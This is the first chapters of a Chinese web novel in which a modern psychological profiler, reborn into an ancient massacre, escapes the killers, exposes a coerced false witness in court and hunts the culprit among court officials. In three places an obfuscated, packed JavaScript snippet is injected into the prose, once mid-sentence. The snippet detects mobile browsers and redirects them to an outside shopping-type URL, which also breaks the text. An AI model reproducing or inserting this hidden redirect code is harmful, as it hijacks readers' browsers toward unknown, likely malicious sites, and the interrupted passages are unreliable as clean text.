《我靠心理侧写在古代翻案》 1. 诈死逃生 残月如钩,清辉银光撒于红木檐角。 有人在屋顶快速走动,发出“咚咚咚”的声音。不消片刻,余音渐渐散去,周围再次静谧。 姜觅只觉头痛欲裂,先是闻到一股血腥味,眼皮子像被胶水粘住,缓缓地眯开了一条缝,然后正对上一双眼。 那人趴在她身上,与她脸贴脸,眼睛瞪得宛如铜铃,里面呈满了惊恐与害怕,一眨不眨。 这是具男尸,正值中年,脸若银盘且身材丰腴。 姜觅尚未反应过来,一段不属于自己的记忆就充斥脑海。 原主与她同名,也叫姜觅,是姜家养在深闺的小姐。姜家原是江南一带有名的富商,原主母亲去世后姜父便带着原主搬来京城,没过多久凭借经商头脑成为京城富商。 原主年幼时姜母早亡,姜父就再未续弦,对原主疼爱有加。原主并未恃宠而骄,反而冷淡孤僻,不喜外人,常常闭门不出。前几日原主及笄,姜父还为了哄女儿高兴,大肆操办及笄礼,街坊邻居皆来参观。 然而就从这里开始,记忆变得模糊,她只能记起原主在及笄那日与姜父发生争执,离家出走。今日原主刚回姜宅,如同往日一样睡了过去,却被屋外被扼杀在嗓间的惊呼声吵醒。 姜觅不禁疑惑,她刚刚还在协助警方在凶手作案场地寻找线索,上一秒凶手突然出现,拿着刀冲向她,下一秒眼前一黑,出现在这里。 她这是穿越了? 姜觅心知现在不是纠结的时候,于是很快冷静下来,费了十足的劲才将身上的男尸扒开。 随即环视四周,只见尸体横七竖八地躺着,死状惨不忍睹。 难怪血腥味那么重的,她想。 一片死寂中,风吹动死尸的衣袂,发出极轻的声音。 姜觅站在原地,眉头紧锁,沉思片刻后看向方才躺在她身上的男尸,这具尸体衣衫不整,特别是袖口处,有很重的抓痕。 她盯着男尸的脸看了很久,莫名感到心悸,连呼吸都变得沉闷,倏地记起此人就是原主的父亲! 一个巨大而细长的铁钩勾穿了姜父的喉咙,最尖锐的那一端暴露在外发出银光。姜父应该是为了保护女儿,所以在临死之前挡在女儿身前。 姜觅不禁感到心痛,她这具身体里面似乎还残留着原主的情感,当父亲挡在自己身前,眼睁睁看着父亲被铁钩锁喉,原主内心是多么无助与绝望啊!可她只能一声不发,躺在自己父亲身下伪装死亡。 可是原主最终还是难逃一死,不然她也不会穿越到这句身体上。 原主身上并无伤痕,为什么也会…… 姜觅刚冒出这个疑问时,就注意到自己身上的血。 原来是这样,她心想。 铁钩上面沾染了毒药,所以即使姜父护住女儿,但流出的血滴在原主身上,原主还是免不了死亡的命运。 凶手这是多么残忍啊,生生杀死了姜府上下所有人,就连仆从都被连累。 姜觅是一名心理侧写师,因为职业原因平常对探案小说多有涉猎,如今瞧见这些人身上伤口无一例外是一钩锁喉,很明显是训练有序的杀手所为。 她清清楚楚地知道这是一场预谋已久的灭门案,原本应该死去的姜家小姐又活了过来,成为唯一的幸存者。 她心跳愈发快,眼神迅速扫视周围,不放过任何一丝细节,很快发现,除了姜父的衣服散开,其余尸体不论男女,衣服皆有一定程度的撕扯。 她避开地上的鲜血,来到距离自己最近的屋子,轻轻地推开屋门。 只见屋内昏暗凌乱,物件皆有一定程度的破碎,案桌被推翻,青白瓷玉器摔成一块又一块碎片,贵重首饰散落在地。 姜觅立马判断:凶手并不是为了劫财。 可是凶手不是为了劫财,又为什么会夜袭姜家呢? 就在姜觅观察的时候,突然听到先前昏睡时迷迷糊糊听到的脚步声,她瞬间警惕起来,细细分析着:方才醒来时,地上流的血还是鲜亮的红色,凶手肯定才走。 凶手杀了姜宅所有人,又对姜宅的财物视若无物,只对所有人身上都进行了翻找,想必是为了寻找什么东西。 可如果是简单的寻东西,为什么要杀死所有人呢? 越深想越觉得这背后隐藏着一个巨大的阴谋,姜觅的身体不自觉地颤抖。 姜觅暂时将这个疑惑埋在心底,此刻唯一能判断的事情就是,没找到想要的东西,凶手很有可能会不甘心折返。脚步声就是证明。 如果凶手发现还有她还活着,一定不会放过她!听脚步声有不同的步频,凶手显然不止一个人,她只会些防身的小功夫,根本无力反抗。 姜觅站在屋子里面,快速环视着周围可以躲避的地方,然而屋内无窗,且已经被翻得一团乱,根本无处可躲。 她才死过一次,不想马上死第二次。 可屋顶瓦砖被踩踏的声音距离她越来越近,每一声仿佛都踏在她的心坎上,她再也做不到心存侥幸。 姜觅血液瞬间凝固,连呼吸都逐渐放缓,生怕不小心泄露出一点声音。 她站在屋内,屋门敞开,如果现在出去,无异于自投罗网。 可环顾四周,屋内根本没有可以隐蔽的地方,这该如何是好? 姜觅能听到自己心脏不停跳动的声音。 千钧一发之际,几道黑色人影出现在屋门处。 “分别搜。” 姜觅听到男人沉声吩咐着。 紧接着,有人踏进了这间屋子。 黑暗的环境无端压抑,那人慢慢靠近床榻边。 姜觅跪在地上,上半身趴在床榻上,原主身上有姜父流下的血,她不需要再刻意制造伤痕,就能伪装出一副已经被杀死的模样,可是这也有赌的成分,她的脖间并无铁钩,如果那人发现端倪,她依旧没有活路。 可是当前已经没有第二种更好的方法了。 很快,一道阴影挡在姜觅的身前,即使闭着眼,她也能感受到瞬间黯淡的光线,凶手已然站在她的面前,或许正在注视她。 姜觅努力憋着气,几乎要窒息。 就在她快要失去意识的时候,只觉左肩一痛,然后整个人腾空,被那人毫不客气地踢到床榻边。 只听砰咚一声,姜觅直直地摔在地上,脑袋与地面碰撞,传来清晰且尖锐的疼痛,她的心猛地一紧,难道是那人发现不对了? 她很快在心底否认,不,不对,以她根据凶手作案风格推测出的性格,凶手的注意力集中在要寻找的物件上,短时间根本不会关注她这个“死人”,更不会想起这间屋子里原先并没有死人。 尽管疼痛万分,姜觅依旧不敢动,保持着原本的姿势。 屋内再次安静下来,姜觅的心揪成一团,过了很久才听到那人离去的声音,于是松了一口气。 “有发现没有?”先前的声音再次响起,语气凶狠。 “没有。” “废物!” “……” 等到彻底没声了,姜觅方才睁开眼,艰难地从地上爬起来,大喘着气。 她活下来了。 她缓了缓,将身上略显单薄的衣裙撕开,简单系在头上,包扎着伤口。 头上的伤不轻,血已经沿着肌肤滑进衣服里,粘稠极了,令她极为不适。 她知道刚刚只能简单糊弄一下凶手,等凶手反应过来,肯定会马上赶来,就地解决她,于是不敢多待,循着原主的记忆急匆匆离开这里。 现在是深夜,路上一个人都没有。她刚来此地,对这里极为陌生,出了姜府便如同无头苍蝇。 姜觅小心翼翼地走在大街上,任何风吹草动都会令她警觉。 正在大脑神经紧绷时,不远处突然出现火光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471374|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜觅连忙躲在一旁小巷子的暗处,看着火光越来越亮,方才发现是一群穿着蓝色官服的男人,手拿火把往这边赶来。 她该不该现身? 姜觅眼神紧盯着这群人,边观察边思考。 这群人虽然急匆匆地往姜府赶,神情却并无慌张与严肃,反而一副烦躁的样子,并不靠谱。 她搜索着原主的记忆,发现记忆里面原主根本没与官府的人打交道,她也无法得知这群人底细。 有了方才那一遭,凶手肯定记住她了。他们用那么惨烈的方式杀死了姜府上下所有人,连奴仆都不放过,更不可能放过她。 如今她如果贸然出现,跟着这群人回到姜府,难免不会引起凶手注意,她的行踪再也隐藏不住。 当务之急,还是找个地方把伤养好,改日寻个机会再出现。姜觅深知只有活着才有机会寻找真相,既然她穿越到女主身上,就不会坐视不管。何况凶手根本不会放过她。 她等着这群人离去,才从小巷中走出来,她沿着街坊行走,在一处屋前栽种绿植的屋门前停下。 “就这家了。”姜觅暗道,随即敲了敲这家的屋门。 她敲的声音并不大,本来并没有抱多大的希望,然而下一秒屋门就被推开,她目视前方发现并没有人,低下头才发现是一个小姑娘给她开的门。 小姑娘瞅了她一眼,对着屋内喊道:“娘,是姐姐。” 屋里面,女人在烛火前绣鞋垫,闻言丢下针线走来,看到姜觅的那一刻愣了愣,视线又转向姜觅额头的包扎以及身上的血迹,不由有些害怕与胆怯,道:“这么晚了……姜姑娘来做什么?” 姜觅没有想到自己选的这户人家居然认识原主,那此事便更加好办了,于是她一脸生无可恋的表情,道:“姐姐,姜家没了。” 女人嘴巴微微张开,难以掩饰内心震惊。 姜觅在女人家里待了整整一周。 通过了解,她知道女人是个寡妇,丈夫前年就死了,名叫艾花,女儿叫艾云。 艾花曾经蒙受姜父帮助,于是对姜觅照顾有加,这几日更是帮忙买药与包扎伤口。 这天,姜觅脑袋上的伤口已经开始结疤了,她刚起身,就看到艾花急匆匆回到家,然后麻利地将门拴上,转头对姜觅道:“现在街上茶坊都在说,是姜老爷家财万贯引得贼人惦记,于是深夜来偷盗,被发现之后气急败坏杀死所有人!” 姜觅闻言,不由冷哼一声,对这个说法不屑一顾。 艾花眼眶一红,道:“姜小姐,那日到底发生了什么事?” 姜府当天晚上就被官员封锁,外人都不明所以,后面才知是发生了杀人案。 而她也问过姜觅,姜觅每次都转移话题将此事绕过去,这次也不例外。 姜觅笑道:“姐姐,我好久没出门了,想看看现在什么情况。” 姜府被灭门的背后原因十分复杂,就连她现在都不清楚,她并不想牵扯到一个无辜的人。 说完,她似一阵风快速离开了。 刚出门,临近便是街市,十分热闹,人群熙攘,小摊贩叫唤声不断。 姜觅混迹在人群中,准备找一处茶楼或酒楼,看能不能听到点别的风声。 忽然,不远处传来一声惊呼:“都让开,世子爷要来了!” 姜觅顺势望去,只见一红衣少年策马扬鞭,朝着这边疾驰而来,街上行人均退至两旁。 旁边有人问道:“世子怎么来这了?” 有人答道:“这你就不知道了吧!就姜家那事,闹得很大,皇帝已经命世子协助调查了。” 听到“姜家”二字,姜觅连忙竖起耳朵,视线落在不远处马上的少年身上。 然而这群人并没有继续说下去。 姜觅自然没动,于是看着世子驾着马,从她面前飞驰而过,往姜府方向去了。 2. 洗脱冤屈 姜觅思忖片刻,跟在世子爷马屁股后面,来到姜府。 姜府现在已经被官兵围得水泄不通。 有百姓聚在一块,站在姜府门口,议论纷纷。 那世子爷下马后,拿着令牌给守门的官兵看,官兵方才放行。 姜觅刚挤进人群中,就听其中一名大娘道:“还真是奇了怪了,你们知道吗,我那当值的儿子跟我说,姜家所有人都死在府里,唯独有一个不在!” 马上便有人疑惑:“是谁?” 大娘道:“姜家小姐!官府验了尸,就她不在,说不定还活着,现在官府已经下命通缉她了!” 这下便有人反驳了:“姜家小姐及笄礼那天我见过,她一副弱不禁风的样子,哪里能从凶手手底下逃出来?你别瞎说啊。” 大娘嘚瑟地哼笑道:“你不知道的事情还多着呢!” 姜觅如同一个透明人,悄无声息的混进去,又悄无声息地离开。 她走在路上,仔细思考着。 大娘说的话尚且在她的预料之中。姜府被灭,她侥幸逃脱,凶手不会放过她,就连查案官员也不会放过她。 她能躲一时,却不能躲一辈子。 她这几日通过与艾花的交谈,大概了解了这个世界,不同于真实的历史背景,这里更像是另一个时空的世界,自有一套运行法则。这里的女性地位很低,不能读书,更不能为官,只能在后宅相夫教子。 她如果只凭自己,很难在这里杀出一条路,唯有以力借力是最优解。 如今姜宅被封,官员正在调查,姜府受到严密关注,凶手不敢轻举妄动,是她现身的最佳时机,或许能找到她需要那股“力”。 思及此,她没有回艾花家里,反而折返姜府。 彼时世子爷从姜府走出,手里扯着一根红绳,随意甩动着红绳最顶端勾着的玉佩,高昂着头阔步前行,好不惬意。 姜觅摘了面纱,再次回到人群中,找到了那个见多识广的大娘,问道:“大娘,你知道世子叫什么吗?” 大娘不假思索道:“这我肯定知道!谢衔,京城谁不知道世子爷的大名?” 大娘说完,侧头看了姜觅一眼,顿时被吓得整个人跳起来,神情惊恐道:“鬼!鬼啊!” 姜觅莞尔一笑,道:“大娘,你方才不是说了,姜家小姐还活着吗?怎么我出现在这,你又不信了?” 那大娘踉跄着往后退了三尺,嘴唇发抖道:“离,离我远点。” 百姓听到动静,纷纷侧目望过来,见是姜觅,也如同见了鬼般,原本聚集的人群立马散开。 姜觅知道这些人是不想惹祸上身,于是她直直地站在那儿,任由那些百姓站在远处打量着她。 这里动静太大,刚来禀告案情的官兵自然也注意到了,他们手里刚收到姜觅的画像,如今看到本人,心中暗喜,真是得来全不费工夫。 姜觅看着其中一个官兵走到世子爷谢衔身边,与之耳语。 两人不知说了什么,谢衔勾起一抹漫不经心的笑,朝她走来,道:“姜小姐,还请你去县衙一趟,这几日,县令找你找的可苦呢。” 说完,他抬了抬手,几个官兵心领神会,当即上前,作势要将姜觅拿下。 姜觅却不动声色地后退一步,低眉敛目道:“世子爷,我一介弱女子,能有什么本事,从县令的眼皮子底下逃出去?” 官兵空着手面面相觑,看向谢衔。 谢衔勾唇,道:“罢了。” 官兵不明所以,退到两人身后。 谢衔这次没骑马,同姜觅走在路上,两人皆默不作声。 姜觅正盘算着等会儿如何在县令面前解释自己的侥幸逃脱的事实和如何找到靠山,便听身旁谢衔意味深长道:“姜小姐,我若是你,活下来之后能跑多远跑多远,再也不会出现在京城。” 姜觅一听,浑身紧绷,思考着谢衔这话,她知道这次去县衙不会那么容易,可是对方的意思好像是知道些什么。 她没追问,反而道:“我相信县令会还给姜家一个公道。” 谢衔笑了笑,没再说话。 很快,姜觅被带到县衙大堂。 大堂正中设置的方形木质围栏,类似一个小阁间,名为暖阁。且暖阁中央放置着一张朱红色长案,长案后有一把太师椅,上面坐着一位中年男子,他头戴乌纱帽,靠在椅子上一手摸胡子一手翻看卷宗。 姜觅站在下堂,县令放下卷宗,重拍惊堂木,声音严肃道:“凶手姜觅,你可知罪?” 姜觅先前仔细琢磨谢衔的话,心里早有答案,于是此刻还算不慌不忙,跪下身来,道:“草民什么都没做,何来知罪一说?” 原来在这等着她。她不敢想象,如果那日她身负重伤,神志不清之下再被压在堂下,该如何为自己脱罪。 县令冷笑一声,瞅了一眼身旁的官兵,道:“来人,将证人带上堂来。” 姜觅跪在地上,脊背挺直,目不斜视。 过了不到一炷香的时间,官兵将那个所谓的证人带来。 姜觅用余光看到那人像没有骨头似的瘫坐在地上,上了前堂便蜷缩起身子,一股脑全说了:“县官,小人名叫陈平,家里就住在姜府旁边,平时与姜老爷关系还算不错。杀人案那日小人在夜里听到一点风声,但不敢出去,才保住这条小命。” “前几日小人亲眼所见,姜小姐同姜老爷在姜府门口吵起来了,还离家出走。后面姜老爷好几次派人去接,姜小姐就是不乐意。姜家附近的街坊邻居都知道,姜小姐因为这件事记恨上姜老爷……小人在出事那天就看到姜小姐在街上同一个黑衣人说话!” 县令闻言,煞有其事地点点头,恶狠狠地瞪着姜觅,道:“真是孽障!姜觅,你好狠的心!你父亲养你长大,你却因为一次争吵就记恨上你父亲,找人暗杀他!” 姜觅当即明白,县令这是要着急结案,把她当做那个替死鬼。这个陈平,说不定就是县令找来的。 姜父是有名的富商,如今姜府被灭门,不知在朝廷引起多大的轩然大波。如今京城所有人惶恐不安,皇帝还命世子协助调查,想必也极其重视。 县令寻找线索无果,只能将罪名推在她这个幸存者身上,这是第一种可能。 第二种可能,便是县令是凶手那边的人,他们要杀她灭口。 不论什么情况,她都不可能坐以待毙,真正的恶人没有得到惩罚,她怎么束手就擒? 可她脑子里面关于原主与姜父争吵之后的记忆着实模糊,只能利用对方的言语寻找漏洞。至于姜家小姐到底有没有跟黑衣人见过面,这根本就不重要。 “姜觅,你还不招供!?”县令见姜觅一直不说话,以为她认命了,故直截了当地道。 谢衔一直坐在县令的侧后方,闻言暗自冷笑一声,饶有趣味地看着姜觅。 姜觅从始至终面色平静,她知道自己不能掉入自证陷阱,于是缓缓对那人道:“你口口声声说我与黑衣人交谈,可有证据?何况,我有什么动机杀死我父亲?” 陈平有些慌张,似乎没有预想到她遭此重创之后还会如此清醒,说话有理有据,但仍梗着脖子道:“你……你贪图家当!姜家家财万贯,你杀了姜老爷,那些银子都是你的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471375|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜觅笑了笑,道:“我父亲就我一个女儿,何况父亲疼爱我,姜家家当本来就归我。” 陈平哆嗦着嘴巴,几次张嘴却不知道如何反驳。 县令见姜觅占据上风,忙道:“堂下肃静!” 姜觅转过头来,微微抬头,与县令对视。 县令眼中的厌恶不似作假,他掌握着主持公正的权利,却任由权利的天平倒向罪恶的一边,疾言厉色道:“姜家出事,你分明早有预料,不然为什么姜府上下被杀手杀光,而你却没事?这就是你勾结凶手的证据。” 姜觅神色不变,道:“照大人所说,活下来的反而成了凶手,那天下幸存之人何其无辜?” “我若说,那日我先瞧见陈平与黑衣人交谈,觉得十分不对劲,他们分别之后我主动上前,黑衣人却匆匆离去。陈平贪图我姜家钱财,才说出此话构陷我,我父亲是孤儿,母亲又去世的早,这样我姜家家当就真的无人继承了。” 此话自然是她乱诌的,为的就是诈出陈平的破绽。 那下人一听脏水泼到自己身上,连忙在地上撒泼打滚,哽咽道:“大人!小人冤枉啊,小人怎么会贪图姜家家当!小人哪有本事跟凶手混在一起。” 此时陈平失去理智,是攻心的最佳时机。 姜觅挪动膝盖,面朝那个下人,语气轻柔道:“你是我父亲好友,我父亲平时对你不薄,可我父亲死了,你就开始冤枉他的女儿!” “我父亲死的那么惨!那么大的铁钩,他死的时候多么疼,多么绝望啊!可是你呢,在他死后,就将罪名推到他的女儿身上。” 说着,姜觅流出几滴眼泪,重重地砸在地上。 陈平彻底慌了神,连滚带爬地往后退,拼命摇头,与此同时泪流满面,喃喃道:“我不是,我没有,我不是……” 他一直重复着这几个字。 那天晚上,他出去过,当时官兵刚刚赶到姜家。 他都看到了,姜老爷的死状在他心里留下不可磨灭的烙印,他午夜梦回,都是姜老爷的样子。 他颤抖着身躯,如同无助的孩子抱住自己的头,抽泣道:“有人跟我说,如果我不把罪名推到姜小姐身上,那些人就会以同样的手法杀死我的妻儿,我不敢赌!我害怕……我害怕……” 姜觅没想到陈平会如此不堪一击,不过还是因为她提到了姜父的死,才勾起对方的心理阴影。 堂上,县令见证了全程,再也做不到睁眼说瞎话。 谢衔突然站起身,慢悠悠地鼓掌,道:“姜小姐可真的巧舌如簧,三言两语便撬开真相,可比那些没用的官员厉害多了。” 县令闻言,自然知道这是世子对自己的警告。 他沉着脸,只得下令道:“此案暂搁,改日再审!” 话落,惊堂木一响,堂下衙役齐声喊“威武——” 姜觅站起身来,走出县衙,不过她并不着急离开。 等了很久,那道红色身影终于出现。 谢衔身长玉立,一双凤丹眼极为勾人,嘴角总勾着一抹笑,歪着头问道:“姜小姐可是在等本世子?” 姜觅却不为对方美色所惑,淡淡道:“今日之事,多亏世子提前相告。” 谢衔挑眉道:“顺手之事罢了。” 姜觅道:“无论如何,还是要感谢世子爷。” 说完,她转身便走,心里默默数着:一、二…… 果然,还没等到她数到三,谢衔便叫住她道:“姜小姐,你现在的情况十分危险,本世子辅助调查此案,有资格保护受害人的安危。不如姜小姐就来我世子府小住?” 3. 设宴诱敌 “姜小姐,奴婢服侍您沐浴?” 浴池水汽氤氲,池边设有石台,用来倚靠或者放置酒具等物品,四周被屏风所遮,姜觅站在屏风前,身旁站着谢衔给她安排的侍女,名唤沉香。 沉香边说,边伸手触碰姜觅的衣裳,被姜觅制止道:“不用,你先出去吧。” 沉香一愣,有些尴尬地收回手,指着地上用竹筐装着的玫瑰花瓣,道:“那奴婢为您将花瓣撒进去?世子一向喜爱玫瑰花,你用了他一定会喜欢的。” 姜觅皱眉,道:“谢……世子没告诉你我为什么住在这?” 沉香摇摇头:“世子只说叫奴婢好好照顾您,奴婢还以为……” 姜觅道:“没事,你先出去吧,花瓣也带走。” 沉香点点头,提着那筐花瓣离开,刚出浴殿,便看见远处站着的谢衔,于是上前低声道:“世子,姜姑娘很谨慎,不让奴婢接近她,也不肯用奴婢为她准备的花瓣。” 夜色如墨,遮住了谢衔眼里的深思。 姜觅将自己泡在水里,热气蒸腾,每个细胞都呼喊着舒缓。 她终于可以放松身体,眉头舒张,闭着眼时脑子里面不停复盘着今天发生的事情。 究竟是谁会威胁陈平呢?她刚开始也以为是县令,毕竟县令着急结案,找个人把罪名安在她身上,于情于理都说的通。 可是心理侧写也不是光凭臆想就得出答案的,陈平在将被人威胁这件事情说出口时,根本没往县令那里看一眼。 如果不是县令,那么陈平…… 姜觅猛地睁开眼,快速起身穿上沉香为她准备的衣裳,向门外奔去。 沉香在殿外等候,看到姜觅着急忙慌地出来,问道:“姜小姐,你怎么了?” 姜觅没有回答,道:“先带我去找世子。” 沉香点点头,带着姜觅穿梭在世子府,在路上恰好与快步行走的谢衔碰面。 两人视线交错,都看到了对方眼里的焦急,隔着两拳的距离,谁也没有开口说话。 沉香从始至终都一头雾水,见气氛不对,非常有眼力见地离开。 虽然正值初夏,白日里燥热不堪,可是到了晚上寒意如潮水般涌来,何况姜觅刚沐浴,身上还有些潮湿,一阵冷风袭来,她不禁哆嗦一下,但仍比不过心底的冰霜。 谢衔沉声道:“陈平死了。” 姜觅只觉得通体发寒,问道:“也是被铁钩杀死?” 谢衔道:“是。陈平今日本来要先关入牢,等待下次审问,他说想回家再见妻儿一面,县令就派了一名官兵一同前去,没有想到就在陈平刚到家的时候,那群杀手再次出现,杀死了所有人。” 姜觅喃喃道:“又是铁钩。” 她猜测,或许凶手从来没有打算放过陈平。利用陈平构陷她,她因恨弑亲被钉上耻辱柱,难逃一死,凶手事后再将唯一知情的陈平暗中处死。 谢衔说话时,偷偷观察姜觅的表情,发现她沉痛之余,并无震惊,就知道她早已猜到陈平的死亡,正如同她猜到他会主动提出邀她入府。 他最终还是忍不住问道:“姜小姐,本世子一直想不通一件事,不知姜小姐可否愿意为本世子解惑?” 他在县衙门口主动说出那番话后,姜觅浅笑嫣然地答应,他就反应过来,姜觅站在那就是在等他。 姜觅知道他想问什么,他们之间现在需要信任,这样才方便后续查案,凶手的手伸的再长,一时半会都不敢将手伸到主子是皇亲国戚的世子府身上。 她与谢衔合作,能够更快的寻找真相。 她缓缓开口道:“也是因为铁钩,我在县衙大堂上提起姜老……我父亲死于铁钩时,不仅陈平的脸色变了,你也是,我猜测你也关注铁钩。而铁钩是凶手行凶的武器,或许,凶手不是第一次使用铁钩杀人。” 她见过许多杀人手法,也对古代的杀人手法略有研究,用铁钩杀人,且如此精准地命中人的颈脖,并不常见。 谢衔先前只以为姜觅是小聪明,虽然对她高看不少,可是没有想到对方将他的表情研究的如此细致,他不过一刹那的色变,对方就能正确地进行剖析,身为上位者,他有一种极为不舒服的感觉萦绕在心间,道:“姜小姐,这只是你个人的判断。” 姜觅知道谢衔不想继续提这件事,她也对别人的事情没有丝毫兴趣,只是交个底打下初步信任罢了,她知道与谢衔这种人直来直去才能打消对方心底的疑惑。 她转移话题地问道:“世子,你觉得幕后凶手会是谁?” 谢衔思考片刻,道:“杀手处理作案现场十分谨慎,没有留下任何有用的线索。” 姜觅想起那天听到的声音,跟着分析道:“幕后凶手的心思十分深沉,他知道我没死,早早就威胁陈平,又算准县令想要草草结案,想要等我现身置我于死地,如果我没有住到世子府,或许今天死去的不止陈平一家。” “他对京城了如指掌,又培养成这么精锐的杀手,不会是平常百姓。” 谢衔道:“是朝廷官员?可是姜老爷是富商,手里只有钱,凶手没理由杀绝姜家人。” 姜觅却道:“只有找到凶手,才能知道这背后隐藏的巨大阴谋。县令如此信任陈平,想要快速解决我,背后定有人掌控,此人能控制县令,定然是当朝权贵。” 两人视线交汇,都能看到双方眼中的震惊。 当朝权贵暗杀富商,说出去谁会相信? 不过,他们要想找线索,只能先从那些高官身上下手。 三日后,世子生辰,大办宴席,邀请群臣百官。 生辰宴早在三月前就开始准备,堂内设席三十六桌,用具精致。午后时分,府门前往来人群络绎不绝。 姜觅身份尴尬,本不应该出现在宴席上,可世子向众人介绍,她是世子府的贵客,如此一来方便她行事。 她一身粉衣长裙,十分从容地穿梭在宴会间,同身穿官服的官员交谈。 丞相最晚才到,他身穿绯色朝服,腰间系着如意结,赶来时袍角带风,脸庞慈眉善目,一身正气。 姜觅前面试探了许多官员,如今只剩下丞相一人,于是上前道:“草民见过相爷。” 丞相将视线落在她身上,不解地问道:“你是?” 姜觅道:“草民名叫姜觅。” 丞相微怔,表情和善道:“你就是姜家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471376|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一活下来的姜小姐?” 姜家灭门之事传的沸沸扬扬,他听到这个消息的时候也深感痛惜。 姜觅点头,眉眼弯弯道:“草民早就相爷平易近人,今日一见,果然不假。” 丞相被夸得合不拢嘴,过了片刻,语气舒缓道:“姜小姐,姜家的事情本相听说了,还请节哀。” 姜觅似乎陷入回忆中,道:“相爷,我父亲他……死的很惨,他的脖子上,有一个巨大的铁钩。” 说完,她用余光观察着丞相的脸,没有放过对方一丝一毫表情的变化。 丞相满脸沉痛,道:“姜小姐不必过于忧心,真相早晚有一天会浮出水面。” 姜觅似乎被丞相的话哄好了,脸上重新绽放笑容,如同冬日暖阳令人忍不住想要亲近,道:“借您吉言。” 宾客到齐后,生辰宴正式开始。 姜觅被安排在只有女眷的桌席上,她面色沉静地拿筷子夹吃食,对京城贵女的注视与打量视若无睹。 酒过三巡后,开始有官员离席敬酒。官员们借着酒意议论朝政,不知是谁,提起了姜家的灭门案。 他们声音不小,姜觅听得认真,小厮端着酒路过女眷宴席,不小心将酒水洒在她身上,衣裙瞬间湿透。 小厮忙不迭道:“姜小姐,奴带您去换衣?” 姜觅摇头道:“不必,我知道在哪。” 一旁贵女却主动递了一张手帕,怯生生地开口问道:“不,不如先拿这个擦擦?” 姜觅看了几秒这个手帕,将它收下了。 她记忆力极好,虽然只在世子府住了几天,但是世子府的大致布局她都了如指掌。 主子奴仆都集中在正厅,因此别处无人。 姜觅回到自己居住的院落,换了一件衣裳后再次回到正厅。 谢衔面色潮红,看样子喝了不少酒,见姜觅回来,趁别人不知道,疾步上前,压低嗓音道:“你刚刚去哪了?” 姜觅道:“小事,你这边情况怎么样?” 谢衔道:“一切正常。” 他看出姜觅的欲言又止,疑惑道:“怎么,你那边有什么问题?” 姜觅默了默,道:“晚点再说。” 她重回宴席,冲着方才向她借手帕的贵女感谢道:“方才真是多谢你的手帕了,不知道怎么称呼你?” 贵女腼腆地笑了笑,道:“我是丞相的女儿,名叫林音音。” “林音音。”姜觅将这名字念了一遍,夸赞道:“林小姐,你同你父亲一样,都与人为善。” 林音音脸都涨红了,道:“哪有。” 姜觅似乎看出她的窘迫,道:“林小姐,你刚刚借我那手帕可真别致啊,不知从何而来?” 可不别致吗,寻常手帕可不会带有剧毒。 林音音闻言有些不好意思地笑了笑,道:“是我自己绣的,母亲之前还嫌我绣的不好,没想到姜小姐会喜欢。” 姜觅盯着林音音脸上的酒窝,不由陷入沉思。 看来,林音音对手帕上的毒并不知情。 不过有一点可以确定的是,凶手的人或许就混迹在群臣百官之中,他们的方向没有错。 4. 借刀杀人 生辰宴进行到一半,皇帝派人送礼。于是一群人浩浩荡荡地涌向世子府门口,叩谢皇恩。 又过了一些时候,便有官员陆陆续续地请辞。 彼时姜觅已同林音音熟络起来,林音音是涉世未深的少女,对什么都很感兴趣,姜觅之前接触过很多案子,于是将自己知道的有趣的事情编成段子讲与林音音听。 林音音双手拉着姜觅的胳膊,满眼期许地看着姜觅,姜觅内心有些不忍,但还是如实说道:“最后,他死了。” 林音音有些忧郁道:“结局竟然是这样……” 这时,丞相来了,似乎对他们的谈话十分好奇,询问道:“音音,你们在聊什么?” 林音音立马坐的端正,看了眼姜觅,犹豫片刻后摇摇头,道:“父亲,我跟姜姐姐只是聊些家常。” 姜觅察觉到,丞相来的时候,林音音情绪有些低落,于是心底一阵狐疑,但是面上依旧不露神色。 丞相笑道:“看来你同姜小姐十分投缘。” 姜觅眉梢含着笑意,道:“能认识相爷的千金,民女三生有幸。” 两人又寒暄了几句,最后,林音音拉着姜觅的手,格外依依不舍道:“姜姐姐,你一直住在世子府吗?我改日再来找你玩。” 不知为何,她觉得姜觅同她先前认识的所有京城贵女都不一样,她浑身散发着令人亲近的信号,行事圆滑但是不显得轻浮。她想同这样的人亲近。 姜觅自然爽快的答应了。 不多时,官员尽数离开,原本喧闹的世子府再次静下来。 姜觅的心里始终压着一块巨石,她十分大胆地推测出凶手很有可能是朝廷高官,但仍有些惊讶于对方居然真的敢在世子生辰宴上动手脚。 